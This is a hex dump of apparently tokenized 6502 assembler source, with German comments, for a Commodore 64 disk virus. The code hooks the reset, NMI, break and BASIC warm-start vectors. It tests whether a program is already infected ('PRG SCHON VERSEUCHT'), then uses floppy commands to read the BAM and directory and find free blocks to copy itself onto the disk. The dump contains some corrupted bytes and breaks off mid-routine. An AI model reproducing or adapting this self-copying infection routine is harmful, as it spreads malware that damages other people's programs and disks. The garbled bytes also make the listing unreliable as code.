00001080: 4C 20 52 31 00 8C 18 6C 11 52 54 53 00 AD 18 94 |L R1...l.RTS....|
00001090: 11 3B AB AB AB AB AB 5A 45 49 47 45 52 AB 53 45 |.;.....ZEIGER.SE|
000010A0: 54 5A 45 4E AB AB AB AB AB AB AB B1 50 00 BE 18 |TZEN........P...|
000010B0: 99 11 50 4F B5 45 52 20 4C 44 41 20 93 50 00 C9 |..PO.ER LDA .P..|
000010C0: 18 9E 11 4C 44 41 20 93 50 00 D5 18 A3 11 43 4D |...LDA .P.....CM|
000010D0: 50 20 23 B3 93 00 F8 18 A8 11 42 45 51 20 50 31 |P #.......BEQ P1|
000010E0: 20 20 20 20 20 20 3B 44 49 56 45 52 53 45 20 42 | ;DIVERSE B|
000010F0: 45 54 52 49 45 42 53 AB 00 16 19 AD 11 53 54 41 |ETRIEBS......STA|
00001100: 20 93 AA 31 20 20 3B 9E 54 45 4D 20 5A 45 49 47 | ..1 ;.TEM ZEIG|
00001110: 45 52 20 41 55 46 00 33 19 B2 11 4C 44 41 20 23 |ER AUF.3...LDA #|
00001120: B3 93 20 20 3B 56 49 52 55 53 20 50 52 4F 47 52 |.. ;VIRUS PROGR|
00001130: 41 4D 4D 00 48 19 B7 11 53 54 41 20 93 50 20 20 |AMM.H...STA .P |
00001140: 20 3B 53 45 54 5A 45 4E 00 58 19 BC 11 50 31 20 | ;SETZEN.X...P1 |
00001150: 4C 44 41 20 93 50 AA 31 00 74 19 C1 11 43 4D 50 |LDA .P.1.t...CMP|
00001160: 20 23 B1 93 20 20 3B 28 93 2C 94 2C 4E 4D 49 2C | #.. ;(.,.,NMI,|
00001170: 49 52 51 2C 00 9B 19 C6 11 42 45 51 20 50 32 20 |IRQ,.....BEQ P2 |
00001180: 20 20 20 20 20 3B 52 45 53 45 54 2C 42 41 53 49 | ;RESET,BASI|
00001190: 43 57 41 52 4D 53 54 41 52 54 2C 00 B5 19 CB 11 |CWARMSTART,.....|
000011A0: 53 54 41 20 93 AA 32 20 20 3B 42 52 45 41 4B 56 |STA ..2 ;BREAKV|
000011B0: 45 4B A4 52 29 00 C1 19 D0 11 4C 44 41 20 23 B1 |EK.R).....LDA #.|
000011C0: 93 00 CE 19 D5 11 53 54 41 20 93 50 AA 31 00 DC |......STA .P.1..|
000011D0: 19 DA 11 50 32 20 4C 44 41 20 94 50 00 E8 19 DF |...P2 LDA .P....|
000011E0: 11 43 4D 50 20 23 B3 94 00 F3 19 E4 11 42 45 51 |.CMP #.......BEQ|
000011F0: 20 50 33 00 FF 19 E9 11 53 54 41 20 94 AA 31 00 | P3.....STA ..1.|
00001200: 0B 1A EE 11 4C 44 41 20 23 B3 94 00 16 1A F3 11 |....LDA #.......|
00001210: 53 54 41 20 94 50 00 26 1A F8 11 50 33 20 4C 44 |STA .P.&...P3 LD|
00001220: 41 20 94 50 AA 31 00 32 1A FD 11 43 4D 50 20 23 |A .P.1.2...CMP #|
00001230: B1 94 00 3D 1A 02 12 42 45 51 20 50 34 00 49 1A |...=...BEQ P4.I.|
00001240: 07 12 53 54 41 20 94 AA 32 00 55 1A 0C 12 4C 44 |..STA ..2.U...LD|
00001250: 41 20 23 B1 94 00 62 1A 11 12 53 54 41 20 94 50 |A #...b...STA .P|
00001260: AA 31 00 73 1A 16 12 50 34 20 4C 44 41 20 57 41 |.1.s...P4 LDA WA|
00001270: 52 4D 50 00 82 1A 1B 12 43 4D 50 20 23 B3 42 57 |RMP.....CMP #.BW|
00001280: 53 31 00 8D 1A 20 12 42 45 51 20 50 35 00 9C 1A |S1... .BEQ P5...|
00001290: 25 12 53 54 41 20 42 57 53 32 AA 31 00 AB 1A 2A |%.STA BWS2.1...*|
000012A0: 12 4C 44 41 20 23 B3 42 57 53 31 00 B9 1A 2F 12 |.LDA #.BWS1.../.|
000012B0: 53 54 41 20 57 41 52 4D 50 00 CC 1A 34 12 50 35 |STA WARMP...4.P5|
000012C0: 20 4C 44 41 20 57 41 52 4D 50 AA 31 00 DB 1A 39 | LDA WARMP.1...9|
000012D0: 12 43 4D 50 20 23 B1 42 57 53 31 00 E6 1A 3E 12 |.CMP #.BWS1...>.|
000012E0: 42 45 51 20 50 36 00 F5 1A 43 12 53 54 41 20 42 |BEQ P6...C.STA B|
000012F0: 57 53 32 AA 32 00 04 1B 48 12 4C 44 41 20 23 B1 |WS2.2...H.LDA #.|
00001300: 42 57 53 31 00 14 1B 4D 12 53 54 41 20 57 41 52 |BWS1...M.STA WAR|
00001310: 4D 50 AA 31 00 24 1B 52 12 50 36 20 4C 44 41 20 |MP.1.$.R.P6 LDA |
00001320: 4E 4D 49 50 00 33 1B 57 12 43 4D 50 20 23 B3 4E |NMIP.3.W.CMP #.N|
00001330: 4D 49 31 00 3E 1B 5C 12 42 45 51 20 50 39 00 4D |MI1.>.\.BEQ P9.M|
00001340: 1B 61 12 53 54 01 20 4E 4D 49 32 AA 31 00 5C 1B |.a.ST. NMI2.1.\.|
00001350: 66 12 4C 44 41 20 23 B3 4E 4D 49 31 00 69 1B 6B |f.LDA #.NMI1.i.k|
00001360: 12 53 54 41 20 4E 4D 49 50 00 7B 1B 70 12 50 39 |.STA NMIP.{.p.P9|
00001370: 20 4C 44 41 20 4E 4D 49 50 AA 31 00 8A 1B 75 12 | LDA NMIP.1...u.|
00001380: 43 4D 50 20 23 B1 4E 4D 49 31 00 96 1B 7A 12 42 |CMP #.NMI1...z.B|
00001390: 45 51 20 50 31 30 00 A5 1B 7F 12 53 54 41 20 4E |EQ P10.....STA N|
000013A0: 4D 49 32 AA 32 00 B4 1B 84 12 4C 44 41 20 23 B1 |MI2.2.....LDA #.|
000013B0: 4E 4D 49 31 00 C3 1B 89 12 53 54 41 20 4E 4D 49 |NMI1.....STA NMI|
000013C0: 50 AA 31 00 D6 1B 8E 12 50 31 30 20 4C 44 41 20 |P.1.....P10 LDA |
000013D0: 23 B3 4E 4D 49 31 00 E5 1B 93 12 53 54 41 20 42 |#.NMI1.....STA B|
000013E0: 52 45 41 4B 50 00 F4 1B 98 12 4C 44 41 20 23 B1 |REAKP.....LDA #.|
000013F0: 4E 4D 49 31 00 05 1C 9D 12 53 54 41 20 42 52 45 |NMI1.....STA BRE|
00001400: 41 4B 50 AA 31 00 15 1C A2 12 4C 44 41 20 23 B3 |AKP.1.....LDA #.|
00001410: 52 45 53 45 54 00 23 1C AC 12 53 54 41 20 24 46 |RESET.#...STA $F|
00001420: 46 46 43 00 33 1C B6 12 4C 44 41 20 23 B1 52 45 |FFC.3...LDA #.RE|
00001430: 53 45 54 00 41 1C C0 12 53 54 41 20 24 46 46 46 |SET.A...STA $FFF|
00001440: 44 00 49 1C CA 12 52 54 53 00 69 1C 24 13 3B AB |D.I...RTS.i.$.;.|
00001450: AB 5A 45 49 47 45 52 AB 5A 55 52 55 45 43 4B 53 |.ZEIGER.ZURUECKS|
00001460: 45 54 5A 05 4E AB AB AB B1 00 77 1C 29 13 8C 20 |ETZ.N.....w.).. |
00001470: 4C 44 41 20 93 AA 31 00 97 1C 2E 13 53 54 41 20 |LDA ..1.....STA |
00001480: 93 50 20 20 20 3B 44 49 56 45 52 53 45 20 42 45 |.P ;DIVERSE BE|
00001490: 54 52 49 45 42 53 AB 00 B4 1C 33 13 4C 44 41 20 |TRIEBS....3.LDA |
000014A0: 93 AA 32 20 20 3B 9E 54 45 4D 5A 45 49 47 45 52 |..2 ;.TEMZEIGER|
000014B0: 20 41 55 46 00 D0 1C 38 13 53 54 41 20 93 50 AA | AUF...8.STA .P.|
000014C0: 31 20 3B B0 47 49 4E 41 4C 41 44 52 45 53 53 45 |1 ;.GINALADRESSE|
000014D0: 00 EC 1C 3D 13 4C 44 41 20 94 AA 31 20 20 3B 5A |...=.LDA ..1 ;Z|
000014E0: 55 52 55 45 43 4B 53 45 54 5A 45 4E 00 08 1D 42 |URUECKSETZEN...B|
000014F0: 13 53 54 41 20 94 50 20 20 20 3B 28 93 2C 94 2C |.STA .P ;(.,.,|
00001500: 4E 4D 49 2C 49 52 51 2C 00 26 1D 47 13 4C 44 41 |NMI,IRQ,.&.G.LDA|
00001510: 20 94 AA 32 20 20 3B 42 41 53 49 43 57 41 52 4D | ..2 ;BASICWARM|
00001520: 53 54 41 52 54 29 00 33 1D 4C 13 53 54 41 20 94 |START).3.L.STA .|
00001530: 50 AA 31 00 42 1D 51 13 4C 44 41 20 42 57 53 32 |P.1.B.Q.LDA BWS2|
00001540: AA 31 00 50 1D 56 13 53 54 41 20 57 41 52 4D 50 |.1.P.V.STA WARMP|
00001550: 00 5F 1D 5B 13 4C 44 41 20 42 57 53 32 AA 32 00 |._.[.LDA BWS2.2.|
00001560: 6F 1D 60 13 53 54 41 20 57 41 52 4D 50 AA 31 00 |o.`.STA WARMP.1.|
00001570: 7E 1D 65 13 4C 44 41 20 4E 4D 49 32 AA 31 00 8B |~.e.LDA NMI2.1..|
00001580: 1D 6A 13 53 54 41 20 4E 4D 49 50 00 9A 1D 6F 13 |.j.STA NMIP...o.|
00001590: 4C 44 41 20 4E 4D 49 32 AA 32 00 A9 1D 74 13 53 |LDA NMI2.2...t.S|
000015A0: 54 41 20 4E 4D 49 50 AA 31 00 B1 1D 79 13 52 54 |TA NMIP.1...y.RT|
000015B0: 53 00 D5 1D 70 17 3B AB AB AB AB AB AB 56 49 52 |S...p.;......VIR|
000015C0: 55 53 AB 0B 4F 50 49 45 52 45 4E AB AB AB AB AB |US..OPIEREN.....|
000015D0: B1 4A 55 4D 50 00 E9 1D 7A 17 44 4F 49 54 20 4C |.JUMP...z.DOIT L|
000015E0: 44 41 20 53 54 41 54 55 53 00 09 1E 84 17 50 48 |DA STATUS.....PH|
000015F0: 41 20 20 20 20 20 20 20 20 20 20 3B 53 54 41 54 |A ;STAT|
00001600: 55 53 20 52 45 54 54 45 4E 00 16 1E 8E 17 4C 44 |US RETTEN.....LD|
00001610: 58 20 23 24 30 35 00 2B 1E 98 17 4A 55 4D 50 31 |X #$05.+...JUMP1|
00001620: 32 20 4C 44 41 20 50 41 52 2C 58 00 33 1E A2 17 |2 LDA PAR,X.3...|
00001630: 50 48 41 00 53 1E AC 17 44 45 58 20 20 20 20 20 |PHA.S...DEX |
00001640: 20 20 20 20 20 3B 53 50 45 49 43 48 45 52 53 54 | ;SPEICHERST|
00001650: 45 4C C3 00 76 1E B6 17 42 50 4C 20 4A 55 4D 50 |EL..v...BPL JUMP|
00001660: 31 32 20 20 20 3B 41 55 46 20 53 54 41 43 4B 20 |12 ;AUF STACK |
00001670: 52 45 54 54 45 4E 00 89 1E C0 17 4C 44 58 20 23 |RETTEN.....LDX #|
00001680: 31 33 AA 42 4C 4F 43 4B 53 00 9E 1E CA 17 4A 55 |13.BLOCKS.....JU|
00001690: 4D 50 31 33 20 4C 44 41 20 4D 45 4D 2C 58 00 A6 |MP13 LDA MEM,X..|
000016A0: 1E D4 17 50 48 41 00 AE 1E DE 17 44 45 58 00 BD |...PHA.....DEX..|
000016B0: 1E E8 17 42 50 4C 20 4A 55 4D 50 31 33 00 D7 1E |...BPL JUMP13...|
000016C0: 06 18 4C 44 41 20 23 30 20 20 20 20 20 20 20 3B |..LDA #0 ;|
000016D0: 46 4C 4F 50 50 59 AB 00 E9 1E 10 18 4A 53 52 20 |FLOPPY......JSR |
000016E0: 48 41 43 B5 4F 53 48 20 3B 00 07 1F 1A 18 4C 44 |HAC.OSH ;.....LD|
000016F0: 58 20 23 24 36 46 20 20 20 20 20 3B 4B 4F 4D 4D |X #$6F ;KOMM|
00001700: AF 4F 4B 41 4E 41 4C 00 1A 1F 24 18 53 54 58 20 |.OKANAL...$.STX |
00001710: 53 45 4B 20 20 20 20 20 20 3B 00 33 1F 2E 18 4A |SEK ;.3...J|
00001720: 53 52 20 48 41 4E 53 20 20 20 20 20 3B 4F 45 46 |SR HANS ;OEF|
00001730: A5 45 4E 00 54 1F 38 18 4C 44 41 20 23 31 20 20 |.EN.T.8.LDA #1 |
00001740: 20 20 20 20 20 3B 5A 55 88 5A 54 42 45 4E 55 54 | ;ZU.ZTBENUT|
00001750: 5A 54 45 53 00 6B 1F 42 18 4C 44 58 20 23 B3 4E |ZTES.k.B.LDX #.N|
00001760: 41 4D 45 20 20 20 3B 46 49 4C 45 00 7E 1F 4C 18 |AME ;FILE.~.L.|
00001770: 4C 44 59 20 23 B1 4E 41 4D 45 20 20 20 3B 00 90 |LDY #.NAME ;..|
00001780: 1F 56 18 4A 53 52 20 48 41 43 B5 4F 53 48 20 3B |.V.JSR HAC.OSH ;|
00001790: 00 A3 1F 60 18 4C 44 41 20 23 24 36 30 20 20 20 |...`.LDA #$60 |
000017A0: 20 20 3B 00 B6 1F 6A 18 53 54 41 20 53 45 4B 20 | ;...j.STA SEK |
000017B0: 20 20 20 20 20 3B 00 C9 1F 74 18 4A 53 52 20 48 | ;...t.JSR H|
000017C0: 41 4E 53 20 20 20 20 20 3B 00 D7 1F 7E 18 4A 53 |ANS ;...~.JS|
000017D0: 52 20 53 54 41 4C 4B 00 EE 1F 88 18 4A 53 52 20 |R STALK.....JSR |
000017E0: 42 48 50 20 20 20 20 20 20 3B 41 44 52 4C 00 FD |BHP ;ADRL..|
000017F0: 1F 92 18 43 4D 50 20 42 41 53 49 43 53 00 07 20 |...CMP BASICS.. |
00001800: 9C 18 42 4E 45 20 80 00 1E 20 A6 18 4A 53 52 20 |..BNE ... ..JSR |
00001810: 42 48 50 20 20 20 20 20 20 3B 41 04 52 48 00 2F |BHP ;A.RH./|
00001820: 20 B0 18 43 4D 50 20 42 41 53 49 43 53 AA 31 00 | ..CMP BASICS.1.|
00001830: 39 20 BA 18 42 4E 45 20 80 00 58 20 C4 18 4C 44 |9 ..BNE ..X ..LD|
00001840: 41 20 23 35 20 20 20 20 20 20 20 3B 57 45 4E 4E |A #5 ;WENN|
00001850: 20 52 49 43 48 54 49 47 00 7E 20 CE 18 53 54 41 | RICHTIG.~ ..STA|
00001860: 20 43 4F 55 4E 54 20 20 20 20 3B 4C 45 53 45 20 | COUNT ;LESE |
00001870: 4C 49 4E 4B 2C 4C 49 4E 45 2C A4 4B 45 4E 00 90 |LINK,LINE,.KEN..|
00001880: 20 D8 18 4C 4F 4F 50 31 20 4A 53 52 20 42 48 50 | ..LOOP1 JSR BHP|
00001890: 00 9E 20 E2 18 44 45 43 20 43 4F 55 4E 54 00 AC |.. ..DEC COUNT..|
000018A0: 20 EC 18 42 4E 45 20 4C 4F 4F 50 31 00 B4 20 F6 | ..BNE LOOP1.. .|
000018B0: 18 54 41 58 00 D7 20 00 19 4C 44 41 20 53 54 41 |.TAX.. ..LDA STA|
000018C0: 54 55 53 20 20 20 3B 46 45 48 4C 45 52 20 41 55 |TUS ;FEHLER AU|
000018D0: 46 A1 52 45 54 45 4E 00 DF 20 0A 19 4C 53 52 00 |F.RETEN.. ..LSR.|
000018E0: E7 20 14 19 4C 53 52 00 0A 21 1E 19 42 43 53 20 |. ..LSR..!..BCS |
000018F0: 80 20 20 20 20 20 20 3B 4A 41 20 20 20 20 20 20 |. ;JA |
00001900: 20 20 20 20 20 20 20 AB AB B1 00 25 21 28 19 43 | ....%!(.C|
00001910: 50 58 20 23 24 39 45 20 20 20 20 20 3B 9E AB 42 |PX #$9E ;..B|
00001920: 45 46 45 48 4C 00 4A 21 32 19 42 4E 45 20 4A 55 |EFEHL.J!2.BNE JU|
00001930: 4D 50 31 20 20 20 20 3B 4E 45 49 4E 2C 20 42 41 |MP1 ;NEIN, BA|
00001940: 53 49 43 50 52 47 20 AB AB B1 00 6C 21 3C 19 4C |SICPRG ....l!<.L|
00001950: 44 41 20 23 30 20 20 20 20 20 20 20 3B 54 45 53 |DA #0 ;TES|
00001960: 54 45 20 41 55 46 20 56 49 52 55 53 00 7A 21 46 |TE AUF VIRUS.z!F|
00001970: 19 53 54 41 20 43 4F 55 4E 54 00 8C 21 50 19 4C |.STA COUNT..!P.L|
00001980: 4F 4F 50 32 20 4A 53 52 20 42 48 50 00 9A 21 5A |OOP2 JSR BHP..!Z|
00001990: 19 4C 44 58 20 43 4F 55 4E 54 00 AA 21 64 19 43 |.LDX COUNT..!d.C|
000019A0: 4D 50 20 56 49 52 55 53 2C 58 00 B8 21 6E 19 42 |MP VIRUS,X..!n.B|
000019B0: 4E 45 20 4A 55 4D 50 31 00 C0 21 78 19 49 4E 58 |NE JUMP1..!x.INX|
000019C0: 00 CE 21 82 19 53 54 58 20 43 4F 55 4E 54 00 DA |..!..STX COUNT..|
000019D0: 21 8C 19 43 50 58 20 23 32 37 00 E8 21 96 19 42 |!..CPX #27..!..B|
000019E0: 4E 45 20 4C 4F 4F 50 32 00 0B 22 A0 19 80 20 4A |NE LOOP2.."... J|
000019F0: 4D 50 20 42 59 45 20 20 3B 50 52 47 20 53 43 48 |MP BYE ;PRG SCH|
00001A00: 91 20 56 45 52 53 45 55 43 48 54 00 1F 22 AA 19 |. VERSEUCHT.."..|
00001A10: 4A 55 4D 50 31 20 4A 53 52 20 53 55 48 41 4C 00 |JUMP1 JSR SUHAL.|
00001A20: 43 22 B4 19 4C 44 41 20 23 22 52 22 20 20 20 20 |C"..LDA #"R" |
00001A30: 20 3B 53 43 48 41 4C 54 45 20 41 55 46 20 4C 45 | ;SCHALTE AUF LE|
00001A40: 53 45 AB 00 5B 22 BE 19 53 54 41 20 44 4F 20 20 |SE..["..STA DO |
00001A50: 20 20 20 20 20 3B 4D 4F 44 55 53 00 68 22 C8 19 | ;MODUS.h"..|
00001A60: 4C 44 58 20 23 24 36 46 00 74 22 D2 19 53 54 58 |LDX #$6F.t"..STX|
00001A70: 20 53 45 4B 00 96 22 DC 19 4C 44 58 20 23 24 46 | SEK.."..LDX #$F|
00001A80: 39 20 20 20 20 20 3B 5A 55 88 5A 54 20 42 45 4E |9 ;ZU.ZT BEN|
00001A90: 55 54 5A 54 45 4E 00 B7 22 E6 19 4C 44 59 20 23 |UTZTEN.."..LDY #|
00001AA0: 30 20 20 20 20 20 20 20 3B 50 55 46 46 45 52 20 |0 ;PUFFER |
00001AB0: 45 52 4D 49 54 54 C3 00 C2 22 F0 19 4C 44 41 20 |ERMITT..."..LDA |
00001AC0: 23 31 00 D0 22 FA 19 4A 53 52 20 4D 45 4D B0 59 |#1.."..JSR MEM.Y|
00001AD0: 00 E1 22 04 1A 4A 53 52 20 47 41 52 46 49 45 4C |.."..JSR GARFIEL|
00001AE0: 44 00 EF 22 0E 1A 4A 53 52 20 53 54 41 4C 4B 00 |D.."..JSR STALK.|
00001AF0: 0D 23 18 1A 4A 53 52 20 42 48 50 20 20 20 20 20 |.#..JSR BHP |
00001B00: 20 3B 48 4F 4C 45 20 50 55 46 46 45 52 00 15 23 | ;HOLE PUFFER..#|
00001B10: 22 1A 50 48 41 00 23 23 2C 1A 4A 53 52 20 53 55 |".PHA.##,.JSR SU|
00001B20: 48 41 4C 00 2B 23 36 1A 50 4C 41 00 4E 23 40 1A |HAL.+#6.PLA.N#@.|
00001B30: 53 54 41 20 4A 4F 42 20 20 20 20 20 20 3B 42 45 |STA JOB ;BE|
00001B40: 52 45 43 48 4E 45 20 44 49 56 45 52 53 45 00 6A |RECHNE DIVERSE.j|
00001B50: 23 4A 1A 43 4C 43 20 20 20 20 20 20 20 20 20 20 |#J.CLC |
00001B60: 3B 50 41 52 41 4D 45 54 45 52 00 75 23 54 1A 41 |;PARAMETER.u#T.A|
00001B70: 44 43 20 23 33 00 98 23 5E 1A 53 54 41 20 41 44 |DC #3..#^.STA AD|
00001B80: 52 20 20 20 20 20 20 3B 08 49 47 48 AB 42 59 54 |R ;.IGH.BYT|
00001B90: 45 20 50 55 46 46 45 52 00 A4 23 68 1A 4C 44 41 |E PUFFER..#h.LDA|
00001BA0: 20 4A 4F 42 00 AC 23 72 1A 41 53 4C 00 CF 23 7C | JOB..#r.ASL..#||
00001BB0: 1A 41 44 43 20 23 36 20 20 20 20 20 20 20 3B 54 |.ADC #6 ;T|
00001BC0: 52 41 43 4B 26 53 45 43 A4 52 20 46 55 45 52 00 |RACK&SEC.R FUER.|
00001BD0: E5 23 86 1A 54 41 58 20 20 20 20 20 20 20 20 20 |.#..TAX |
00001BE0: 20 3B 4A 4F 42 00 F4 23 90 1A 53 54 58 20 50 55 | ;JOB..#..STX PU|
00001BF0: 46 46 45 52 00 FF 23 9A 1A 4C 44 59 20 23 30 00 |FFER..#..LDY #0.|
00001C00: 1D 24 A4 1A 4C 04 41 20 23 32 20 20 20 20 20 20 |.$..L.A #2 |
00001C10: 20 3B 48 4F 4C 45 20 53 54 41 52 54 AB 00 3D 24 | ;HOLE START..=$|
00001C20: AE 1A 4A 53 52 20 4D 45 4D B0 59 20 20 20 3B 54 |..JSR MEM.Y ;T|
00001C30: 52 41 43 4B 20 26 20 AB 53 45 43 A4 52 00 4E 24 |RACK & .SEC.R.N$|
00001C40: B8 1A 4A 53 52 20 47 41 52 46 49 45 4C 44 00 5C |..JSR GARFIELD.\|
00001C50: 24 C2 1A 4A 53 52 20 53 54 41 4C 4B 00 79 24 CC |$..JSR STALK.y$.|
00001C60: 1A 4A 53 52 20 42 48 50 20 20 20 20 20 20 3B 53 |.JSR BHP ;S|
00001C70: 54 41 52 54 54 52 41 43 4B 00 95 24 D6 1A 53 54 |TARTTRACK..$..ST|
00001C80: 41 20 54 52 41 43 4B 20 20 20 20 3B 53 50 45 49 |A TRACK ;SPEI|
00001C90: 43 48 45 52 4E 00 B2 24 E0 1A 4A 53 52 20 42 48 |CHERN..$..JSR BH|
00001CA0: 50 20 20 20 20 20 20 3B 53 54 01 52 54 53 45 43 |P ;ST.RTSEC|
00001CB0: A4 52 00 CD 24 EA 1A 53 54 41 20 53 45 43 A4 52 |.R..$..STA SEC.R|
00001CC0: 20 20 20 3B 53 50 45 49 43 48 45 52 4E 00 DB 24 | ;SPEICHERN..$|
00001CD0: F4 1A 4A 53 52 20 53 55 48 41 4C 00 FC 24 FE 1A |..JSR SUHAL..$..|
00001CE0: 4C 44 41 20 54 52 41 43 4B 20 20 20 20 3B 44 49 |LDA TRACK ;DI|
00001CF0: 52 45 43 A4 52 59 20 4E 49 43 48 54 00 19 25 08 |REC.RY NICHT..%.|
00001D00: 1B 43 4D 50 20 23 31 38 20 20 20 20 20 20 3B 56 |.CMP #18 ;V|
00001D10: 45 52 53 45 55 43 48 45 4E 00 23 25 12 1B 42 45 |ERSEUCHEN.#%..BE|
00001D20: 51 20 80 00 46 25 1C 1B 4C 44 58 20 23 24 30 45 |Q ..F%..LDX #$0E|
00001D30: 20 20 20 20 20 3B 50 52 55 45 46 45 20 4F 42 20 | ;PRUEFE OB |
00001D40: 42 41 4D 20 49 4D 00 6A 25 26 1B 4C 44 59 20 23 |BAM IM.j%&.LDY #|
00001D50: 24 30 30 20 20 20 20 20 3B 46 4C 4F 50 50 59 AB |$00 ;FLOPPY.|
00001D60: 52 41 4D 20 56 B0 48 AF 45 4E 00 80 25 30 1B 4C |RAM V.H.EN..%0.L|
00001D70: 44 41 20 23 32 20 20 20 20 20 20 20 3B 49 53 54 |DA #2 ;IST|
00001D80: 00 8E 25 3A 1B 4A 53 52 20 4D 45 4D B0 59 00 9F |..%:.JSR MEM.Y..|
00001D90: 25 44 1B 4A 53 52 20 47 41 52 46 49 45 4C 44 00 |%D.JSR GARFIELD.|
00001DA0: AD 25 4E 1B 4A 53 52 20 53 54 41 4C 4B 00 B9 25 |.%N.JSR STALK..%|
00001DB0: 58 1B 4A 53 52 20 42 48 50 00 DA 25 62 1B 43 4D |X.JSR BHP..%b.CM|
00001DC0: 50 20 23 31 38 20 20 20 20 20 20 3B 44 49 52 45 |P #18 ;DIRE|
00001DD0: 43 A4 52 59 AB 54 52 41 43 4B 00 FC 25 6C 1B 42 |C.RY.TRACK..%l.B|
00001DE0: 4E 45 20 80 20 20 20 20 20 20 3B 4E 45 49 4E 20 |NE . ;NEIN |
00001DF0: 20 AB AB B1 20 44 41 4E 4E 20 80 45 00 08 26 76 | ... DANN .E..&v|
00001E00: 1B 4A 53 52 20 42 48 50 00 24 26 80 1B 43 4D 50 |.JSR BHP.$&..CMP|
00001E10: 20 23 30 20 20 20 20 20 20 20 3B 42 41 4D AB 53 | #0 ;BAM.S|
00001E20: 45 43 A4 52 00 46 26 8A 1B 42 4E 45 20 80 20 20 |EC.R.F&..BNE . |
00001E30: 20 20 20 20 3B 4E 45 49 4E 20 20 AB AB B1 20 44 | ;NEIN ... D|
00001E40: 41 4E 4E 20 80 45 00 54 26 94 1B 4A 53 52 20 53 |ANN .E.T&..JSR S|
00001E50: 55 48 41 4C 00 77 26 9E 1B 4C 44 58 20 23 24 30 |UHAL.w&..LDX #$0|
00001E60: 30 20 20 20 20 20 3B 53 55 43 48 45 20 50 4C 41 |0 ;SUCHE PLA|
00001E70: 54 5A 20 46 55 45 52 00 8F 26 A8 1B 4A 55 4D 50 |TZ FUER..&..JUMP|
00001E80: 33 20 53 54 58 20 58 20 20 3B 56 49 52 55 53 00 |3 STX X ;VIRUS.|
00001E90: 97 26 B2 1B 54 58 41 00 BE 26 BC 1B 4C 53 52 20 |.&..TXA..&..LSR |
00001EA0: 20 20 20 20 20 20 20 20 20 3B 50 52 55 45 46 45 | ;PRUEFE|
00001EB0: 20 55 4E 54 45 52 53 54 45 53 20 42 49 54 00 E1 | UNTERSTES BIT..|
00001EC0: 26 C6 1B 53 54 41 20 43 4F 55 4E 54 20 20 20 20 |&..STA COUNT |
00001ED0: 3B 57 45 4E 4E 20 42 49 54 B2 30 20 53 55 43 48 |;WENN BIT.0 SUCH|
00001EE0: 45 00 FE 26 D0 1B 42 43 43 20 4A 55 4D 50 39 20 |E..&..BCC JUMP9 |
00001EF0: 20 20 20 3B 4E 41 43 48 20 49 4E 4E 45 4E 00 1E | ;NACH INNEN..|
00001F00: 27 DA 1B 4C 44 41 20 54 52 41 43 0B 20 20 20 20 |'..LDA TRAC. |
00001F10: 3B AF 45 52 46 41 4C 4C 53 20 4E 41 43 48 00 37 |;.ERFALLS NACH.7|
00001F20: 27 E4 1B 53 42 43 20 43 4F 55 4E 54 20 20 20 20 |'..SBC COUNT |
00001F30: 3B 41 55 53 53 45 4E 00 46 27 EE 1B 4A 4D 50 20 |;AUSSEN.F'..JMP |
00001F40: 4A 55 4D 50 31 30 00 5B 27 F8 1B 4A 55 4D 50 39 |JUMP10.['..JUMP9|
00001F50: 20 20 41 44 43 20 54 52 41 43 4B 00 71 27 02 1C | ADC TRACK.q'..|
00001F60: 4A 55 4D 50 31 30 20 53 54 41 20 56 54 52 41 43 |JUMP10 STA VTRAC|
00001F70: 4B 00 90 27 0C 1C 42 45 51 20 4A 55 4D 50 31 36 |K..'..BEQ JUMP16|
00001F80: 20 20 20 3B 53 50 55 52 B1 33 35 20 4F 44 45 52 | ;SPUR.35 ODER|
00001F90: 00 B7 27 16 1C 43 4D 50 20 23 33 36 20 20 20 20 |..'..CMP #36 |
00001FA0: 20 20 3B B3 31 20 44 41 4E 4E 20 57 45 49 54 45 | ;.1 DANN WEITE|
00001FB0: 52 53 55 43 48 45 4E 00 C6 27 20 1C 42 43 53 20 |RSUCHEN..' .BCS |
00001FC0: 4A 55 4D 50 31 36 00 E5 27 2A 1C 43 4D 50 20 23 |JUMP16..'*.CMP #|
00001FD0: 31 38 20 20 20 20 20 20 3B 44 49 52 45 43 A4 52 |18 ;DIREC.R|
00001FE0: 59 53 50 55 52 00 F4 27 34 1C 42 45 51 20 4A 55 |YSPUR..'4.BEQ JU|
00001FF0: 4D 50 31 36 00 12 28 3E 1C 4A 53 52 20 42 53 45 |MP16..(>.JSR BSE|
00002000: 4C 45 43 54 20 20 3B 53 55 43 48 45 20 50 4C 41 |LECT ;SUCHE PLA|
00002010: 54 5A 00 23 28 48 1C 4A 53 52 20 47 41 52 46 49 |TZ.#(H.JSR GARFI|
00002020: 45 4C 44 00 31 28 52 1C 4A 53 52 20 53 54 41 4C |ELD.1(R.JSR STAL|
00002030: 4B 00 3D 28 5C 1C 4A 53 52 20 42 48 50 00 5E 28 |K.=(\.JSR BHP.^(|
00002040: 66 1C 43 4D 50 20 23 42 4C 4F 43 4B 53 20 20 3B |f.CMP #BLOCKS ;|
00002050: 50 4C 41 54 5A 20 47 45 46 55 4E 44 45 4E 00 76 |PLATZ GEFUNDEN.v|
00002060: 28 70 1C 42 43 53 20 4A 55 4D 50 34 20 20 20 20 |(p.BCS JUMP4 |
00002070: 3B 4A 41 AB AB B1 00 84 28 7A 1C 4A 53 52 20 53 |;JA.....(z.JSR S|
00002080: 55 48 41 4C 00 95 28 84 1C 4A 55 4D 50 31 36 20 |UHAL..(..JUMP16 |
00002090: 4C 44 58 20 58 00 B9 28 8E 1C 49 4E 58 20 20 20 |LDX X..(..INX |
000020A0: 20 20 20 20 20 20 20 3B 50 52 55 45 46 45 20 4F | ;PRUEFE O|
000020B0: 42 20 57 45 49 54 45 52 45 00 D8 28 98 1C 43 50 |B WEITERE..(..CP|
000020C0: 58 20 23 36 38 20 20 20 20 20 20 3B 53 55 43 48 |X #68 ;SUCH|
000020D0: 45 20 BF 4E 56 4F 4C 4C 00 F0 28 A2 1C 42 4E 45 |E .NVOLL..(..BNE|
000020E0: 20 4A 55 4D 50 33 20 20 20 20 3B AB AB B1 4A 41 | JUMP3 ;...JA|
000020F0: 00 13 29 AC 1C 4A 4D 50 20 80 20 20 20 20 20 20 |..)..JMP . |
00002100: 3B 4E 45 49 4E 2C 44 41 4E 4E 20 56 49 52 55 53 |;NEIN,DANN VIRUS|
00002110: 20 80 45 00 29 29 B6 1C 4A 55 4D 50 34 20 53 42 | .E.))..JUMP4 SB|
00002120: 43 20 23 42 4C 4F 43 4B 53 00 47 29 C0 1C 53 54 |C #BLOCKS.G)..ST|
